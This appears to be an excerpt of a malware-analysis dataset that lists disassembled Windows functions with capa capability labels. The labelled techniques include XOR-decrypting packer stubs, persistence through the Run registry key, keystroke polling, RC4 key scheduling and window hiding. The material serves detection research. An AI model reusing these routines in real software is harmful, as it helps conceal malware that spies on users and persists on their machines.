joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430004
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x252404be
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x7d126361
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x409f74
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409f95
mov al, byte [esp]
jmp 0x409f97
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x417a00
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x417a51
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x417a38
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x417a28
jmp 0x417a51
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x417a39
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43f82c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x8c], 0
je 0x43f861
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x24]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403978
jmp 0x43f86b
mov eax, esi
mov edx, dword [ebx + 0x74]
call fcn.0040392c
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x440758
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x6c]
test esi, esi
je 0x440790
mov eax, esi
call fcn.0042a080
test al, al
je 0x440790
mov eax, dword [ebx + 0x6c]
call fcn.00429c58
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x440790
push 0
mov eax, dword [ebx + 0x6c]
call fcn.00429c58
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x443960
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403cc4
mov eax, dword [ebp - 8]
call fcn.00403cc4
mov eax, dword [ebp - 0xc]
call fcn.00403cc4
xor eax, eax
push ebp
push 0x443a2f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x443a48
call fcn.00403b18
lea eax, [ebp - 8]
mov edx, 0x443a48
call fcn.00403b18
lea eax, [ebp - 0xc]
mov edx, 0x443a48
call fcn.00403b18
mov bl, 1
push 1
lea eax, [ebp - 0xc]
call fcn.00403ce0
push eax
lea eax, [ebp - 8]
call fcn.00403ce0
push eax
lea eax, [ebp - 4]
call fcn.00403ce0
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
jae 0x443a14
xor ebx, ebx
push 0
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, 0x443a54
call fcn.00403b5c
mov eax, dword [ebp - 0x10]
mov cx, word [0x443a68]
mov dl, 1
call fcn.004424a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x443a36
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.004038b8
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x42e01e
nop
nop
popal
nop
nop
nop
nop
nop
jmp int.00401219
Function at 0x41b1aa
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x1040
call fcn.0041c630
push ebx
push esi
mov esi, dword [esp + 0x1050]
xor ebx, ebx
cmp word [esi], bx
je 0x41b3e2
push esi
call fcn.00421845
pop ecx
cmp eax, 0x7f6
jae 0x41b3e2
push edi
push 0x3c
pop edi
push edi
lea eax, [esp + 0x14]
push ebx
push eax
call fcn.0041d5e0
add esp, 0xc
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], 0x1c0
cmp byte [esp + 0x1058], bl
je 0x41b20a
mov dword [esp + 0x14], 0x5c0
movzx ecx, word [esi]
lea edx, [esi + 2]
push 0x22
pop edi
cmp cx, di
je 0x41b21a
mov edx, esi
mov dword [esp + 0x20], edx
mov eax, ebx
push ebp
test cx, cx
je 0x41b264
push 0x20
mov ecx, esi
pop ebp
cmp word [ecx], di
jne 0x41b245
jmp 0x41b238
cmp word [esi + eax*2], di
je 0x41b241
inc eax
cmp word [esi + eax*2], bx
jne 0x41b232
jmp 0x41b245
mov word [esi + eax*2], bp
cmp word [esi + eax*2], bp
je 0x41b3b9
cmp word [esi + eax*2 + 2], 0x2f
je 0x41b3b3
inc eax
lea ecx, [esi + eax*2]
cmp word [ecx], bx
jne 0x41b22b
mov eax, dword [esp + 0x28]
test eax, eax
je 0x41b271
cmp word [eax], bx
jne 0x41b28b
cmp byte [esp + 0x105c], bl
jne 0x41b28b
cmp word [0x44a11a], bx
je 0x41b28b
mov dword [esp + 0x28], 0x44a11a
push edx
mov dword [esp + 0x34], 1
call fcn.0040ad74
mov esi, eax
test esi, esi
je 0x41b2b6
push str..inf
push esi
call fcn.004106e6
test eax, eax
jne 0x41b2b6
mov dword [esp + 0x20], str.Install
push dword [esp + 0x24]
call fcn.00409b05
test al, al
je 0x41b2de
push 0x800
lea eax, [esp + 0x54]
push eax
push dword [esp + 0x2c]
call fcn.0040aafd
lea eax, [esp + 0x50]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x41b3e0
mov edi, dword [esp + 0x1054]
mov ebp, dword [sym.imp.USER32.dll_ShowWindow]
cmp byte [0x449110], bl
jne 0x41b317
cmp byte [esp + 0x105c], bl
jne 0x41b317
cmp byte [0x4557fe], bl
je 0x41b376
test edi, edi
je 0x41b32c
push edi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x41b32c
push ebx
push edi
call ebp
mov bl, 1
push 0x7d0
push dword [esp + 0x50]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push dword [esp + 0x4c]
call fcn.0041b638
cmp byte [0x4557fe], 0
je 0x41b376
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x50]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x41b376
mov eax, dword [esp + 0x10]
add eax, 0x3e8
cmp eax, dword [0x455800]
jbe 0x41b376
mov dword [0x455800], eax
push dword [esp + 0x4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x41b393
push 0x43168c
push esi
call fcn.004106e6
test eax, eax
je 0x41b3cc
cmp byte [0x449110], 0
mov al, byte [esp + 0x105c]
je 0x41b3d3
test al, al
jne 0x41b3d3
mov dword [0x455804], 0x1b58
jmp 0x41b3d3
cmp word [esi + eax*2], bp
jne 0x41b3bf
xor ecx, ecx
mov word [esi + eax*2], cx
inc eax
lea eax, [esi + eax*2]
mov dword [esp + 0x28], eax
jmp 0x41b268
mov al, byte [esp + 0x105c]
test bl, bl
je 0x41b3e0
test al, al
je 0x41b3e0
push 1
push edi
call ebp
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x1040
ret 0xc
Function at 0x431000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x40b3f6
Capabilities:
Copy file
Persist via run registry key
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x180c
call fcn.0040d650
push ebx
push esi
push edi
call fcn.00407f83
mov esi, str.CNwuedcoweu
push esi
xor ebx, ebx
push ebx
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
je 0x40b465
push 0x400
lea eax, [esp + 0x1c]
push eax
push ebx
mov byte [0x4244ad], 1
call edi
push 0x419d78
lea eax, [esp + 0x1c]
call fcn.00405490
test eax, eax
pop ecx
je 0x40b465
push 4
push ebx
push 3
call fcn.0040a89c
add esp, 0xc
call fcn.0040b383
call fcn.0040ac11
test eax, eax
je 0x40b481
cmp byte [0x4244ad], bl
jne 0x40b460
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
jmp 0x40b460
call fcn.0040ac79
test eax, eax
je 0x40b4eb
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push ebx
push 9
call fcn.0040a89c
add esp, 0xc
push 0x400
lea eax, [esp + 0x101c]
push eax
push ebx
call edi
lea eax, [esp + 0x18]
push eax
call fcn.0040acd6
test eax, eax
pop ecx
je 0x40b4eb
push ebx
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1020]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40b4eb
lea eax, [esp + 0x18]
push eax
call fcn.00407927
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp byte [0x4244ad], bl
je 0x40b508
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040a89c
add esp, 0xc
jmp 0x40b4e4
lea eax, [esp + 0x818]
push eax
call fcn.0040787e
test eax, eax
pop ecx
je 0x40b460
push esi
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
mov esi, eax
lea eax, [esp + 0x818]
push eax
call fcn.00407927
test eax, eax
pop ecx
je 0x40b5a3
push 1
lea eax, [esp + 0x81c]
push eax
push 0x41a648
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.004069fa
add esp, 0x14
test eax, eax
je 0x40b593
or dword [esp + 0x14], 0xffffffff
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x20]
push eax
push esi
mov dword [esp + 0x28], 0xdc3cba00
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40b4e4
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
jmp 0x40b4fe
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
call fcn.0040a89c
add esp, 0xc
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40ce06
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40ce10
repz ret
jmp fcn.0040d0ab

Function at 0x402658
Capabilities:
Terminate process

Disassembly:
xor edi, edi
xor esi, esi
mov edx, eax
mov eax, 5
add eax, 5
inc eax
test eax, 0xb
jne 0x40267a
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
mov edx, eax
mov dword [0x401036], eax
ret
Function at 0x415400
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4a383b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0049830e
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x415482
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00496050
mov eax, dword [eax]
push 0x4c6ca4
push eax
call fcn.00487fc4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00498599
test bl, bl
je 0x415482
push 0x4c6ca4
lea ecx, [esp + 0xc]
call fcn.00498929
push 0x4c6cb0
lea ecx, [esp + 0xc]
call fcn.00498929
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4154be
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00498599
jmp 0x415589
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x415542
lea edx, [esp + 0x7c]
push 0x4c6cac
push edx
call fcn.00487fc4
add esp, 8
test eax, eax
je 0x415542
lea eax, [esp + 0x7c]
push 0x4c6ca8
push eax
call fcn.00487fc4
add esp, 8
test eax, eax
je 0x415542
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4154d2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00498599
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x415d90
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x415df2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x415e00
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4a38bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4d6430]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x415f38
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x415e66
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00498599
xor eax, eax
jmp 0x415faf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004986d6
push esi
lea ecx, [esp + 0xc]
call fcn.00498965
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x4c6ce4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x415f8d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00415d90
test eax, eax
jne 0x415f8d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00415d90
test eax, eax
jne 0x415f8d
lea eax, [esp + 0x14]
push str.__1_
push eax
call fcn.00489110
mov esi, eax
add esp, 8
test esi, esi
jne 0x415f6c
lea ecx, [esp + 0x14]
push 0x4c6cbc
push ecx
call fcn.00489090
mov esi, eax
add esp, 8
test esi, esi
jne 0x415f6c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x415f6f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00498686
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x415e7e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00498599
xor eax, eax
jmp 0x415faf
mov byte [esi], 0
push 0x4c6cb8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00498599
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4267e0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42684e
cmp si, 0x69
ja 0x42684e
add esi, 0xffd0
cmp si, 0x11
je 0x42681e
push 0x11
call edi
test ax, ax
jge 0x42681e
or esi, 0x2000
cmp si, 0x10
je 0x426833
push 0x10
call edi
test ax, ax
jge 0x426833
or esi, 0x4000
cmp si, 0x12
je 0x426848
push 0x12
call edi
test ax, ax
jge 0x426848
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42685b
mov esi, 0xbd
jmp 0x42680f
cmp si, 0x6e
jne 0x426868
mov esi, 0xbe
jmp 0x42680f
cmp si, 0x6f
jne 0x426809
mov esi, 0xbf
jmp 0x42680f

Function at 0x428110
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4e6be8]
xor edx, edx
cmp eax, edx
jne 0x428136
xor eax, eax
mov byte [eax + 0x4e6ae8], al
inc eax
cmp eax, 0x100
jl 0x42811e
mov dword [0x4e6be8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4e6ae8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4281c7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42819a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x428168
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x428240
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x428293
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42827a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42f2a0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x42f438
cmp ebp, ebx
jle 0x42f438
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x42f2fe
dec eax
or eax, 0xfffffff8
inc eax
je 0x42f305
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x42f314
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42f31b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004982da
add esp, 4
cmp eax, ebx
je 0x42f33c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004982da
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42f42e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x42f415
mov al, byte [edx]
cmp al, 0xc0
jbe 0x42f401
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x42f3f6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x42f404
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x42f404
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x42f3a0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x42f391
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x4329b0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4a4f28
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x4329e9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.0049fcb1
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.0049fcfd
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00432a70
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0049fd3a
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24